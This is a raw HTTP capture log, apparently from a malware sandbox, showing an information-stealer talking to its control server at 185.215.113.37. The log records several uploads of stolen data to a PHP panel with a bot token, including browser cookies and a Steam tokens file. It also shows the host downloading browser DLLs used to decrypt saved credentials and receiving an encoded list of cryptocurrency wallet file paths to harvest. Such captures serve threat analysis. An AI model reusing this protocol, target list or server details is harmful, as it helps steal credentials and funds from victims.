name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------AFBFHDBKJEGHJJJKFIIJ--
Oct 8, 2024 05:27:13.152198076 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:13.479710102 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"------GDHIIDAFIDGCFHJJDGDA--
Oct 8, 2024 05:27:14.197366953 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:14.798199892 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"------DGCAAFBFBKFIDGDHJDBK--
Oct 8, 2024 05:27:15.585185051 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:15.946257114 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:16.166721106 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 05:27:17.032028913 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:17.251854897 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 05:27:17.688950062 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:17.907229900 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 05:27:18.227864027 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:18.446398973 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 05:27:20.149147034 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:20.374592066 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 05:27:20.659410000 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:20.877999067 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 05:27:21.454463005 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 05:27:22.342437983 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:22.654566050 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wallets------JKKEHJDHJKFIECAAKFIJ--
Oct 8, 2024 05:27:22.886533022 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:22 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 05:27:22.889198065 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"files------GIIEGHIDBGHIECAAECGD--
Oct 8, 2024 05:27:23.110460997 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:23.123353958 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; 